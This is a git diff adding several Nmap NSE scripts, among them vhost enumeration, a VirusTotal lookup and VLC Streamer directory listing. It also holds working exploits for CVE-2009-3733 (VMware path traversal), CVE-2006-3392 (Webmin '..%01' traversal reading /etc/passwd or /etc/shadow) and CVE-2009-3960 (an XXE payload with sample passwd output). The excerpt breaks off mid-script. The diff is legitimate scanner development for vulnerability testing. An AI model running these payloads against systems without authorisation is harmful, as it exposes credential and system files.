+ local read, usernames = datafiles.parse_file(customlist or "nselib/data/usernames.lst", {})
+ if not read then
+ stdnse.debug1("%s", usernames or "Unknown Error reading usernames list.")
+ nmap.registry.userdir = {}
+ return nil
+ end
+ -- random dummy username to catch false positives (not necessary)
+-- if #usernames > 0 then table.insert(usernames, 1, randomstring()) end
+ nmap.registry.userdir = usernames
+ stdnse.debug1("Testing %d usernames.", #usernames)
+ return nil
+end
diff --git a/scripts/http-vhosts.nse b/scripts/http-vhosts.nse
new file mode 100644
index 0000000..c5827bc
--- /dev/null
+++ b/scripts/http-vhosts.nse
@@ -0,0 +1,185 @@
+local coroutine = require "coroutine"
+local http = require "http"
+local io = require "io"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local datafiles = require "datafiles"
+
+description = [[
+Searches for web virtual hostnames by making a large number of HEAD requests against http servers using common hostnames.
+
+Each HEAD request provides a different
+<code>Host</code> header. The hostnames come from a built-in default
+list. Shows the names that return a document. Also shows the location of
+redirections.
+
+The domain can be given as the <code>http-vhosts.domain</code> argument or
+deduced from the target's name. For example when scanning www.example.com,
+various names of the form <name>.example.com are tried.
+]]
+
+---
+-- @usage
+-- nmap --script http-vhosts -p 80,8080,443 <target>
+--
+-- @arg http-vhosts.domain The domain that hostnames will be prepended to, for
+-- example <code>example.com</code> yields www.example.com, www2.example.com,
+-- etc. If not provided, a guess is made based on the hostname.
+-- @arg http-vhosts.path The path to try to retrieve. Default <code>/</code>.
+-- @arg http-vhosts.collapse The limit to start collapsing results by status code. Default <code>20</code>
+-- @arg http-vhosts.filelist file with the vhosts to try. Default <code>nselib/data/vhosts-default.lst</code>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-vhosts:
+-- | example.com: 301 -> http://www.example.com/
+-- | www.example.com: 200
+-- | docs.example.com: 302 -> https://www.example.com/docs/
+-- |_images.example.com: 200
+--
+-- @internal: see http://seclists.org/nmap-dev/2010/q4/401 and http://seclists.org/nmap-dev/2010/q4/445
+--
+--
+-- @todo feature: add option report and implement it
+-- @internal after stripping sensitive info like ip, domain names, hostnames
+-- and redirection targets from the result, append it to a file
+-- that can then be uploaded. If enough info is gathered, the names
+-- will be weighted. It can be shared with metasploit
+--
+-- @todo feature: fill nsedoc
+--
+-- @todo feature: register results for other scripts (external help needed)
+--
+-- @todo feature: grow names list (external help needed)
+--
+
+author = "Carlos Pantelides"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = { "discovery", "intrusive" }
+
+local arg_domain = stdnse.get_script_args(SCRIPT_NAME..".domain")
+local arg_path = stdnse.get_script_args(SCRIPT_NAME..".path") or "/"
+local arg_filelist = stdnse.get_script_args(SCRIPT_NAME..'.filelist')
+local arg_collapse = tonumber(stdnse.get_script_args(SCRIPT_NAME..".collapse")) or 10
+
+-- Defines domain to use, first from user and then from host
+local defineDomain = function(host)
+ local name = stdnse.get_hostname(host)
+ if name and name ~= host.ip then
+ local pos = string.find (name, ".",1,true)
+ if not pos then return name end
+ return string.sub (name, pos + 1)
+ end
+end
+
+---
+-- Makes a target name with a name and a domain
+-- @param name string
+-- @param domain string
+-- @return string
+local makeTargetName = function(name,domain)
+ if name and name ~= "" then
+ if domain and domain ~= "" then
+ return name .. "." .. domain
+ else
+ return name
+ end
+ elseif domain and domain ~= "" then
+ return domain
+ end
+end
+
+
+---
+-- Collapses a result
+-- key -> table
+-- @param result table
+-- @return string
+local collapse = function(result)
+ local collapsed = {""}
+ for code, group in next, result do
+ if #group > arg_collapse then
+ table.insert(collapsed, ("%d names had status %s"):format(#group, code))
+ else
+ for _,name in ipairs(group) do
+ table.insert(collapsed, name)
+ end
+ end
+ end
+ return table.concat(collapsed,"\n")
+end
+
+local testThread = function(result, host, port, name)
+ local condvar = nmap.condvar(result)
+ local targetname = makeTargetName(name , arg_domain)
+ if targetname ~= nil then
+ local http_response = http.generic_request(host, port, "HEAD", arg_path, {header={Host=targetname}})
+
+ if not http_response.status then
+ result["ERROR"] = result["ERROR"] or {}
+ table.insert(result["ERROR"], targetname)
+ else
+ local status = tostring(http_response.status)
+ result[status] = result[status] or {}
+ if ( 300 <= http_response.status and http_response.status < 400 ) then
+ table.insert(result[status], ("%s : %s -> %s"):format(targetname, status, (http_response.header.location or "(no Location provided)")))
+ else
+ table.insert(result[status], ("%s : %s"):format(targetname, status))
+ end
+ end
+ end
+ condvar "signal"
+end
+
+local readFromFile = function(filename)
+ local database = {}
+ for l in io.lines(filename) do
+ table.insert(database, l)
+ end
+ return database
+end
+
+portrule = shortport.http
+
+---
+-- Script action
+-- @param host table
+-- @param port table
+action = function(host, port)
+ local result, threads, hostnames = {}, {}, {}
+ local condvar = nmap.condvar(result)
+ local status
+
+ if arg_filelist then
+ hostnames = readFromFile(arg_filelist)
+ else
+ status, hostnames = datafiles.parse_file("nselib/data/vhosts-default.lst" , {})
+ if not status then
+ stdnse.debug1("Can not open file with vhosts file names list")
+ return
+ end
+ end
+
+ arg_domain = arg_domain or defineDomain(host)
+ for _,name in ipairs(hostnames) do
+ local co = stdnse.new_thread(testThread, result, host, port, name)
+ threads[co] = true
+ end
+
+ while(next(threads)) do
+ for t in pairs(threads) do
+ threads[t] = ( coroutine.status(t) ~= "dead" ) and true or nil
+ end
+ if ( next(threads) ) then
+ condvar "wait"
+ end
+ end
+
+ return collapse(result)
+end
diff --git a/scripts/http-virustotal.nse b/scripts/http-virustotal.nse
new file mode 100644
index 0000000..2a2cc8f
--- /dev/null
+++ b/scripts/http-virustotal.nse
@@ -0,0 +1,254 @@
+local http = require "http"
+local io = require "io"
+local json = require "json"
+local stdnse = require "stdnse"
+local openssl = stdnse.silent_require "openssl"
+local tab = require "tab"
+local table = require "table"
+
+description = [[
+Checks whether a file has been determined as malware by Virustotal. Virustotal
+is a service that provides the capability to scan a file or check a checksum
+against a number of the major antivirus vendors. The script uses the public
+API which requires a valid API key and has a limit on 4 queries per minute.
+A key can be acquired by registering as a user on the virustotal web page:
+* http://www.virustotal.com
+
+The scripts supports both sending a file to the server for analysis or
+checking whether a checksum (supplied as an argument or calculated from a
+local file) was previously discovered as malware.
+
+As uploaded files are queued for analysis, this mode simply returns a URL
+where status of the queued file may be checked.
+]]
+
+---
+-- @usage
+-- nmap --script http-virustotal --script-args='http-virustotal.apikey="<key>",http-virustotal.checksum="275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f"'
+--
+-- @output
+-- Pre-scan script results:
+-- | http-virustotal:
+-- | Permalink: https://www.virustotal.com/file/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/analysis/1333633817/
+-- | Scan date: 2012-04-05 13:50:17
+-- | Positives: 41
+-- | digests
+-- | SHA1: 3395856ce81f2b7382dee72602f798b642f14140
+-- | SHA256: 275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f
+-- | MD5: 44d88612fea8a8f36de82e1278abb02f
+-- | Results
+-- | name result date version
+-- | AhnLab-V3 EICAR_Test_File 20120404 2012.04.05.00
+-- | AntiVir Eicar-Test-Signature 20120405 7.11.27.24
+-- | Antiy-AVL AVTEST/EICAR.ETF 20120403 2.0.3.7
+-- | Avast EICAR Test-NOT virus!!! 20120405 6.0.1289.0
+-- | AVG EICAR_Test 20120405 10.0.0.1190
+-- | BitDefender EICAR-Test-File (not a virus) 20120405 7.2
+-- | ByteHero - 20120404 1.0.0.1
+-- | CAT-QuickHeal EICAR Test File 20120405 12.00
+-- | ClamAV Eicar-Test-Signature 20120405 0.97.3.0
+-- | Commtouch EICAR_Test_File 20120405 5.3.2.6
+-- | Comodo Exploit.EICAR-Test-File 20120405 12000
+-- | DrWeb EICAR Test File (NOT a Virus!) 20120405 7.0.1.02210
+-- | Emsisoft EICAR-ANTIVIRUS-TESTFILE!IK 20120405 5.1.0.11
+-- | eSafe EICAR Test File 20120404 7.0.17.0
+-- | eTrust-Vet the EICAR test string 20120405 37.0.9841
+-- | F-Prot EICAR_Test_File 20120405 4.6.5.141
+-- | F-Secure EICAR_Test_File 20120405 9.0.16440.0
+-- | Fortinet EICAR_TEST_FILE 20120405 4.3.392.0
+-- | GData EICAR-Test-File 20120405 22
+-- | Ikarus EICAR-ANTIVIRUS-TESTFILE 20120405 T3.1.1.118.0
+-- | Jiangmin EICAR-Test-File 20120331 13.0.900
+-- | K7AntiVirus EICAR_Test_File 20120404 9.136.6595
+-- | Kaspersky EICAR-Test-File 20120405 9.0.0.837
+-- | McAfee EICAR test file 20120405 5.400.0.1158
+-- | McAfee-GW-Edition EICAR test file 20120404 2012.1
+-- | Microsoft Virus:DOS/EICAR_Test_File 20120405 1.8202
+-- | NOD32 Eicar test file 20120405 7031
+-- | Norman Eicar_Test_File 20120405 6.08.03
+-- | nProtect EICAR-Test-File 20120405 2012-04-05.01
+-- | Panda EICAR-AV-TEST-FILE 20120405 10.0.3.5
+-- | PCTools Virus.DOS.EICAR_test_file 20120405 8.0.0.5
+-- | Rising EICAR-Test-File 20120405 24.04.02.03
+-- | Sophos EICAR-AV-Test 20120405 4.73.0 TP
+-- | SUPERAntiSpyware NotAThreat.EICAR[TestFile] 20120402 4.40.0.1006
+-- | Symantec EICAR Test String 20120405 20111.2.0.82
+-- | TheHacker EICAR_Test_File 20120405 6.7.0.1.440
+-- | TrendMicro Eicar_test_file 20120405 9.500.0.1008
+-- | TrendMicro-HouseCall Eicar_test_file 20120405 9.500.0.1008
+-- | VBA32 EICAR-Test-File 20120405 3.12.16.4
+-- | VIPRE EICAR (v) 20120405 11755
+-- | ViRobot EICAR-test 20120405 2012.4.5.5025
+-- |_ VirusBuster EICAR_test_file 20120404 14.2.11.0
+--
+-- @args http-virustotal.apikey an API key acquired from the virustotal web page
+-- @args http-virustotal.upload true if the file should be uploaded and scanned, false if a
+-- checksum should be calculated of the local file (default: false)
+-- @args http-virustotal.filename the full path of the file to checksum or upload
+-- @args http-virustotal.checksum a SHA1, SHA256, MD5 checksum of a file to check
+--
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories={"safe", "malware", "external"}
+
+
+local arg_apiKey = stdnse.get_script_args(SCRIPT_NAME .. ".apikey")
+local arg_upload = stdnse.get_script_args(SCRIPT_NAME .. ".upload") or false
+local arg_filename = stdnse.get_script_args(SCRIPT_NAME .. ".filename")
+local arg_checksum = stdnse.get_script_args(SCRIPT_NAME .. ".checksum")
+
+prerule = function() return true end
+
+local function readFile(filename)
+ local f = io.open(filename, "r")
+ if ( not(f) ) then
+ return false, ("Failed to open file: %s"):format(filename)
+ end
+
+ local str = f:read("a")
+ f:close()
+ if ( not(str) ) then
+ return false, "Failed to read file contents"
+ end
+ return true, str
+end
+
+local function requestFileScan(filename)
+ local status, str = readFile(filename)
+ if ( not(status) ) then
+ return false, str
+ end
+
+ local shortfile = filename:match("^.*[\\/](.*)$")
+ local boundary = "----------------------------nmapboundary"
+ local header = { ["Content-Type"] = ("multipart/form-data; boundary=%s"):format(boundary) }
+ local postdata = ("--%s\r\n"
+ .. 'Content-Disposition: form-data; name="apikey"\r\n\r\n'
+ .. "%s\r\n"
+ .. "--%s\r\n"
+ .. 'Content-Disposition: form-data; name="file"; filename="%s"\r\n'
+ .. "Content-Type: text/plain\r\n\r\n%s\r\n--%s--\r\n"):format(boundary, arg_apiKey, boundary, shortfile, str, boundary)
+
+ local host = "www.virustotal.com"
+ local port = { number = 80, protocol = "tcp" }
+ local path = "/vtapi/v2/file/scan"
+
+ local response = http.post( host, port, path, {any_af = true, header = header }, nil, postdata )
+ if ( not(response) or response.status ~= 200 ) then
+ return false, "Failed to request file scan"
+ end
+
+ local status, json_data = json.parse(response.body)
+ if ( not(status) ) then
+ return false, "Failed to parse JSON response"
+ end
+
+ return true, json_data
+end
+
+local function getFileScanReport(resource)
+
+ local host = "www.virustotal.com"
+ local port = { number = 80, protocol = "tcp" }
+ local path = "/vtapi/v2/file/report"
+
+
+ local response = http.post(host, port, path, {any_af=true}, nil, { ["apikey"] = arg_apiKey, ["resource"] = resource })
+ if ( not(response) or response.status ~= 200 ) then
+ return false, "Failed to retrieve scan report"
+ end
+
+ local status, json_data = json.parse(response.body)
+ if ( not(status) ) then
+ return false, "Failed to parse JSON response"
+ end
+
+ return true, json_data
+end
+
+local function calcSHA256(filename)
+
+ local status, str = readFile(filename)
+ if ( not(status) ) then
+ return false, str
+ end
+ return true, stdnse.tohex(openssl.digest("sha256", str))
+end
+
+local function parseScanReport(report)
+ local result = {}
+
+ table.insert(result, ("Permalink: %s"):format(report.permalink))
+ table.insert(result, ("Scan date: %s"):format(report.scan_date))
+ table.insert(result, ("Positives: %s"):format(report.positives))
+ table.insert(result, {
+ name = "digests",
+ ("SHA1: %s"):format(report.sha1),
+ ("SHA256: %s"):format(report.sha256),
+ ("MD5: %s"):format(report.md5)
+ })
+
+ local tmp = {}
+ for name, scanres in pairs(report.scans) do
+ local res = ( scanres.detected ) and scanres.result or "-"
+ table.insert(tmp, { name = name, result = res, update = scanres.update, version = scanres.version })
+ end
+ table.sort(tmp, function(a,b) return a.name:upper()<b.name:upper() end)
+
+ local scan_tbl = tab.new(4)
+ tab.addrow(scan_tbl, "name", "result", "date", "version")
+ for _, v in ipairs(tmp) do
+ tab.addrow(scan_tbl, v.name, v.result, v.update, v.version)
+ end
+ table.insert(result, { name = "Results", tab.dump(scan_tbl) })
+
+ return result
+end
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+action = function()
+
+ if ( not(arg_apiKey) ) then
+ return fail("An API key is required in order to use this script (see description)")
+ end
+
+ local resource
+ if ( arg_upload == "true" and arg_filename ) then
+ local status, json_data = requestFileScan(arg_filename, arg_apiKey)
+ if ( not(status) or not(json_data['resource']) ) then
+ return fail(json_data)
+ end
+ resource = json_data['resource']
+
+ local output = {}
+ table.insert(output, "Your file was successfully uploaded and placed in the scanning queue.")
+ table.insert(output, { name = "To check the current status visit:", json_data['permalink'] })
+ return stdnse.format_output(true, output)
+ elseif ( arg_filename ) then
+ local status, sha256 = calcSHA256(arg_filename)
+ if ( not(status) ) then
+ return fail("Failed to calculate SHA256 checksum for file")
+ end
+ resource = sha256
+ elseif ( arg_checksum ) then
+ resource = arg_checksum
+ else
+ return
+ end
+
+ local status, response
+
+ local status, response = getFileScanReport(resource)
+ if ( not(status) ) then
+ return fail("Failed to retrieve file scan report")
+ end
+
+ if ( not(response.response_code) or 0 == tonumber(response.response_code) ) then
+ return fail(("Failed to retrieve scan report for resource: %s"):format(resource))
+ end
+
+ return stdnse.format_output(true, parseScanReport(response))
+end
diff --git a/scripts/http-vlcstreamer-ls.nse b/scripts/http-vlcstreamer-ls.nse
new file mode 100644
index 0000000..fdf22c0
--- /dev/null
+++ b/scripts/http-vlcstreamer-ls.nse
@@ -0,0 +1,86 @@
+local http = require "http"
+local json = require "json"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Connects to a VLC Streamer helper service and lists directory contents. The
+VLC Streamer helper service is used by the iOS VLC Streamer application to
+enable streaming of multimedia content from the remote server to the device.
+]]
+
+---
+-- @usage
+-- nmap -p 54340 --script http-vlcstreamer-ls <ip>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 54340/tcp open unknown
+-- | http-vlcstreamer-ls:
+-- | /Applications
+-- | /Developer
+-- | /Library
+-- | /Network
+-- | /Pictures
+-- | /System
+-- | /User Guides And Information
+-- | /Users
+-- | /Volumes
+-- | /bin
+-- | /bundles
+-- | /cores
+-- | /dev
+-- | /etc
+-- | /home
+-- | /mach_kernel
+-- | /net
+-- | /opt
+-- | /private
+-- | /sbin
+-- | /tmp
+-- | /usr
+-- |_ /var
+--
+-- @args http-vlcstreamer-ls.dir directory to list (default: /)
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+portrule = shortport.port_or_service(54340, "vlcstreamer", "tcp")
+
+local arg_dir = stdnse.get_script_args(SCRIPT_NAME .. ".dir") or "/"
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+
+ local response = http.get(host, port, ("/secure?command=browse&dir=%s"):format(arg_dir))
+
+ if ( response.status ~= 200 or not(response.body) or 0 == #response.body ) then
+ if ( response.status == 401 ) then
+ return fail("Server requires authentication")
+ else
+ return
+ end
+ end
+
+ local status, parsed = json.parse(response.body)
+ if ( not(status) ) then
+ return fail("Failed to parse response")
+ end
+
+ if ( parsed.errorMessage ) then
+ return fail(parsed.errorMessage)
+ end
+
+ local output = {}
+ for _, entry in pairs(parsed.files or {}) do
+ table.insert(output,entry.path)
+ end
+ table.sort(output, function(a,b) return a<b end)
+ return stdnse.format_output(true, output)
+end
diff --git a/scripts/http-vmware-path-vuln.nse b/scripts/http-vmware-path-vuln.nse
new file mode 100644
index 0000000..92aae11
--- /dev/null
+++ b/scripts/http-vmware-path-vuln.nse
@@ -0,0 +1,141 @@
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Checks for a path-traversal vulnerability in VMWare ESX, ESXi, and Server (CVE-2009-3733).
+
+The vulnerability was originally released by Justin Morehouse and Tony Flick, who presented at Shmoocon 2010 (http://fyrmassociates.com/tools.html).
+]]
+
+---
+-- @usage
+-- nmap --script http-vmware-path-vuln -p80,443,8222,8333 <host>
+--
+-- @output
+-- | http-vmware-path-vuln:
+-- | VMWare path traversal (CVE-2009-3733): VULNERABLE
+-- | /vmware/Windows 2003/Windows 2003.vmx
+-- | /vmware/Pentest/Pentest - Linux/Linux Pentest Bravo.vmx
+-- | /vmware/Pentest/Pentest - Windows/Windows 2003.vmx
+-- | /mnt/vmware/vmware/FreeBSD 7.2/FreeBSD 7.2.vmx
+-- | /mnt/vmware/vmware/FreeBSD 8.0/FreeBSD 8.0.vmx
+-- | /mnt/vmware/vmware/FreeBSD 8.0 64-bit/FreeBSD 8.0 64-bit.vmx
+-- |_ /mnt/vmware/vmware/Slackware 13 32-bit/Slackware 13 32-bit.vmx
+-----------------------------------------------------------------------
+
+author = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "safe"}
+
+
+portrule = shortport.port_or_service({80, 443, 8222,8333}, {"http", "https"})
+
+local function get_file(host, port, path)
+ local file
+
+ -- Replace spaces in the path with %20
+ path = string.gsub(path, " ", "%%20")
+
+ -- Try both ../ and %2E%2E/
+ file = "/sdk/../../../../../../" .. path
+
+ local result = http.get( host, port, file)
+ if(result['status'] ~= 200 or result['content-length'] == 0) then
+ file = "/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/" .. path
+ result = http.get( host, port, file)
+
+ if(result['status'] ~= 200 or result['content-length'] == 0) then
+ return false, "Couldn't download file: " .. path
+ end
+ end
+
+ return true, result.body, file
+end
+
+local function fake_xml_parse(str, tag)
+ local result = {}
+ local index, tag_start, tag_end
+
+ -- Lowercase the 'body' we're searching
+ local lc = string.lower(str)
+ -- Lowercase the tag
+ tag = string.lower(tag)
+
+ -- This loop does some ugly pattern-based xml parsing
+ index, tag_start = string.find(lc, "<" .. tag .. ">")
+ while index do
+ tag_end, index = string.find(lc, "</" .. tag .. ">", index)
+ table.insert(result, string.sub(str, tag_start + 1, tag_end - 1)) -- note: not lowercase
+ index, tag_start = string.find(lc, "<" .. tag .. ">", index)
+ end
+
+ return result
+end
+
+--local function parse_vmware_conf(str, field)
+-- local index, value_start = string.find(str, field .. "[^\"]*")
+-- if(not(index) or not(value_start)) then
+-- return nil
+-- end
+--
+-- local value_end = string.find(str, "\"", value_start + 1)
+-- if(not(value_end)) then
+-- return nil
+-- end
+--
+-- return string.sub(str, value_start + 1, value_end - 1)
+--end
+
+local function go(host, port)
+ local result, body
+ local files
+
+ -- Try to download the file
+ result, body = get_file(host, port, "/etc/vmware/hostd/vmInventory.xml");
+ -- It failed -- probably not vulnerable
+ if(not(result)) then
+ return false, "Couldn't download file: " .. body
+ end
+
+ -- Check if the file contains the proper XML
+ if(string.find(string.lower(body), "configroot") == nil) then
+ return false, "Server didn't return XML -- likely not vulnerable."
+ end
+
+ files = fake_xml_parse(body, "vmxcfgpath")
+
+ if(#files == 0) then
+ return true, {"No VMs appear to be installed"}
+ end
+
+ -- Process each of the .vmx files if verbosity is on
+ --if(nmap.verbosity() > 1) then
+ -- local result, file = get_file(host, port, files[1])
+ -- io.write(nsedebug.tostr(file))
+ --end
+
+ return true, files
+end
+
+action = function(host, port)
+ -- Try a standard ../ path
+ local status, result = go(host, port)
+
+ if(not(status)) then
+ return nil
+ end
+
+ local response = {}
+ table.insert(response, "VMWare path traversal (CVE-2009-3733): VULNERABLE")
+
+ if(nmap.verbosity() > 1) then
+ table.insert(response, result)
+ end
+
+ return stdnse.format_output(true, response)
+end
+
diff --git a/scripts/http-vuln-cve2006-3392.nse b/scripts/http-vuln-cve2006-3392.nse
new file mode 100644
index 0000000..b9fd44e
--- /dev/null
+++ b/scripts/http-vuln-cve2006-3392.nse
@@ -0,0 +1,79 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local vulns = require "vulns"
+
+description = [[
+Exploits a file disclosure vulnerability in Webmin (CVE-2006-3392)
+
+Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML.
+This allows arbitrary files to be read, without requiring authentication, using "..%01" sequences
+to bypass the removal of "../" directory traversal sequences.
+]]
+---
+-- @usage
+-- nmap -sV --script http-vuln-cve2006-3392 <target>
+-- nmap -p80 --script http-vuln-cve2006-3392 --script-args http-vuln-cve2006-3392.file=/etc/shadow <target>
+-- @output
+-- PORT STATE SERVICE REASON
+-- 10000/tcp open webmin syn-ack
+-- | http-vuln-cve2006-3392:
+-- | VULNERABLE:
+-- | Webmin File Disclosure
+-- | State: VULNERABLE (Exploitable)
+-- | IDs: CVE:CVE-2006-3392
+-- | Description:
+-- | Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML.
+-- | This allows arbitrary files to be read, without requiring authentication, using "..%01" sequences
+-- | to bypass the removal of "../" directory traversal sequences.
+-- | Disclosure date: 2006
+-- | Extra information:
+-- | Proof of Concept:/unauthenticated/..%01/..%01/(..)/etc/passwd
+-- | References:
+-- | http://www.rapid7.com/db/modules/auxiliary/admin/webmin/file_disclosure
+-- |_ http://www.exploit-db.com/exploits/1997/
+--
+-- @args http-vuln-cve2006-3392.file <FILE>. Default: /etc/passwd
+---
+
+author = "Paul AMAR <aos.paul@gmail.com>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit","vuln","intrusive"}
+
+portrule = shortport.portnumber({10000})
+
+action = function(host, port)
+ local file_var = stdnse.get_script_args(SCRIPT_NAME .. ".file") or "/etc/passwd"
+
+ local vuln = {
+ title = 'Webmin File Disclosure',
+ state = vulns.STATE.NOT_VULN, -- default
+ IDS = {CVE = 'CVE-2006-3392'},
+ description = [[
+Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML.
+This allows arbitrary files to be read, without requiring authentication, using "..%01" sequences
+to bypass the removal of "../" directory traversal sequences.
+]],
+ references = {
+ 'http://www.exploit-db.com/exploits/1997/',
+ 'http://www.rapid7.com/db/modules/auxiliary/admin/webmin/file_disclosure',
+ },
+ dates = {
+ disclosure = {year = '2006', month = '06', day = '29'},
+ },
+ }
+
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+ local url = "/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01" .. file_var
+
+ stdnse.debug1("Getting " .. file_var)
+
+ local detection_session = http.get(host, port, url)
+
+ stdnse.debug1("Status code:"..detection_session.status)
+ if detection_session and detection_session.status == 200 then
+ vuln.state = vulns.STATE.EXPLOIT
+ stdnse.debug1(detection_session.body)
+ return vuln_report:make_output(vuln)
+ end
+end
diff --git a/scripts/http-vuln-cve2009-3960.nse b/scripts/http-vuln-cve2009-3960.nse
new file mode 100644
index 0000000..38c1e9d
--- /dev/null
+++ b/scripts/http-vuln-cve2009-3960.nse
@@ -0,0 +1,163 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local vulns = require "vulns"
+
+description = [[
+Exploits cve-2009-3960 also known as Adobe XML External Entity Injection.
+
+This vulnerability permits to read local files remotely and is present in
+BlazeDS 3.2 and earlier, LiveCycle 8.0.1, 8.2.1, and 9.0, LiveCycle Data
+Services 2.5.1, 2.6.1, and 3.0, Flex Data Services 2.0.1, and
+ColdFusion 7.0.2, 8.0, 8.0.1, and 9.0
+
+For more information see:
+* http://www.security-assessment.com/files/advisories/2010-02-22_Multiple_Adobe_Products-XML_External_Entity_and_XML_Injection.pdf
+* https://www.securityfocus.com/bid/38197
+* Metasploit module: auxiliary/scanner/http/adobe_xml_inject
+]]
+
+---
+-- @see http-adobe-coldfusion-apsa1301.nse
+-- @see http-coldfusion-subzero.nse
+-- @see http-vuln-cve2010-2861.nse
+--
+-- @args http-vuln-cve2009-3960.root Points to the root path. Defaults to "/"
+-- @args http-vuln-cve2009-3960.readfile target file to be read. Defaults to "/etc/passwd"
+--
+-- @usage
+-- nmap --script=http-vuln-cve2009-3960 --script-args http-http-vuln-cve2009-3960.root="/root/" <target>
+--
+--@output
+-- PORT STATE SERVICE
+-- 80/tcp open http
+--| http-vuln-cve2009-3960:
+--| samples/messagebroker/http
+--| <?xml version="1.0" encoding="utf-8"?>
+--| <amfx ver="3"><body targetURI="/onResult" responseURI=""><object type="flex.messaging.messages.AcknowledgeMessage"><traits><string>timestamp</string><string>headers</string><string>body</string><string>correlationId</string><string>messageId</string><string>timeToLive</string><string>clientId</string><string>destination</string></traits><double>1.325337665684E12</double><object><traits><string>DSMessagingVersion</string><string>DSId</string></traits><double>1.0</double><string>5E037B49-540B-EDCF-A83A-BE9059CF6812</string></object><null/><string>root:x:0:0:root:/root:/bin/bash
+--| bin:*:1:1:bin:/bin:/sbin/nologin
+--| daemon:*:2:2:daemon:/sbin:/sbin/nologin
+--| adm:*:3:4:adm:/var/adm:/sbin/nologin
+--| lp:*:4:7:lp:/var/spool/lpd:/sbin/nologin
+--| sync:*:5:0:sync:/sbin:/bin/sync
+--| shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
+--| halt:*:7:0:halt:/sbin:/sbin/halt
+--| mail:*:8:12:mail:/var/spool/mail:/sbin/nologin
+--| news:*:9:13:news:/etc/news:
+--| uucp:*:10:14:uucp:/var/spool/uucp:/sbin/nologin
+--| operator:*:11:0:operator:/root:/sbin/nologin
+--| games:*:12:100:games:/usr/games:/sbin/nologin
+--| gopher:*:13:30:gopher:/var/gopher:/sbin/nologin
+--| ftp:*:14:50:FTP User:/var/ftp:/sbin/nologin
+--| nobody:*:99:99:Nobody:/:/sbin/nologin
+--| nscd:!!:28:28:NSCD Daemon:/:/sbin/nologin
+--| vcsa:!!:69:69:virtual console memory owner:/dev:/sbin/nologin
+--| pcap:!!:77:77::/var/arpwatch:/sbin/nologin
+--| mailnull:!!:47:47::/var/spool/mqueue:/sbin/nologin
+--| ...
+--|_
+
+author = "Hani Benhabiles"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit", "intrusive", "vuln"}
+
+
+portrule = shortport.http
+
+action = function(host, port)
+ -- Matching returned response body to confirm vulnerability
+ local matchstart = '<?xml version="1.0" encoding="utf-8"?>'
+ local matchend = '</string><null/></object></body></amfx>'
+ local matchsize = 120
+ local matchnotvuln = '<string>External entities are not allowed</string>'
+
+ local results = {}
+ local root = stdnse.get_script_args(SCRIPT_NAME .. ".root") or "/"
+ local readfile = stdnse.get_script_args(SCRIPT_NAME .. ".readfile") or "/etc/passwd"
+
+ local paths = {
+ "messagebroker/http",
+ "messagebroker/httpsecure",
+
+ -- Coldfusion
+ "flex2gateway/http",
+ "flex2gateway/httpsecure",
+
+ -- BlazeDS
+ "blazeds/messagebroker/http",
+ "blazeds/messagebroker/httpsecure",
+ "samples/messagebroker/http",
+ "samples/messagebroker/httpsecure",
+
+ -- LiveCycle Data Services
+ "lcds/messagebroker/http",
+ "lcds/messagebroker/httpsecure",
+ "lcds-samples/messagebroker/http",
+ "lcds-samples/messagebroker/httpsecure",
+ }
+
+ local exploit = [[<?xml version="1.0" encoding="utf-8"?><!DOCTYPE test
+ [ <!ENTITY x3 SYSTEM "]].. readfile
+ .. [["> ]><amfx ver="3"
+ xmlns="http://www.macromedia.com/2005/amfx"><body>
+ <object type="flex.messaging.messages.CommandMessage">
+ <traits><string>body</string><string>clientId</string>
+ <string>correlationId</string><string>destination</string>
+ <string>headers</string><string>messageId</string><string>
+ operation</string><string>timestamp</string><string>timeToLive
+ </string></traits><object><traits /></object><null /><string />
+ <string /><object><traits><string>DSId</string><string>
+ DSMessagingVersion</string></traits><string>nil</string>
+ <int>1</int></object><string>&x3;</string><int>5</int>
+ <int>0</int><int>0</int></object></body></amfx>]]
+
+
+ local options = {header={["Content-Type"]="application/x-amf"}}
+ local path
+
+ local http_vuln = {
+ title = "Adobe XML External Entity Injection",
+ IDS = {CVE = 'CVE-2009-3960'},
+ risk_factor = "High",
+ scores = {
+ CVSSv2 = "4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:P/I:N/A:N)",
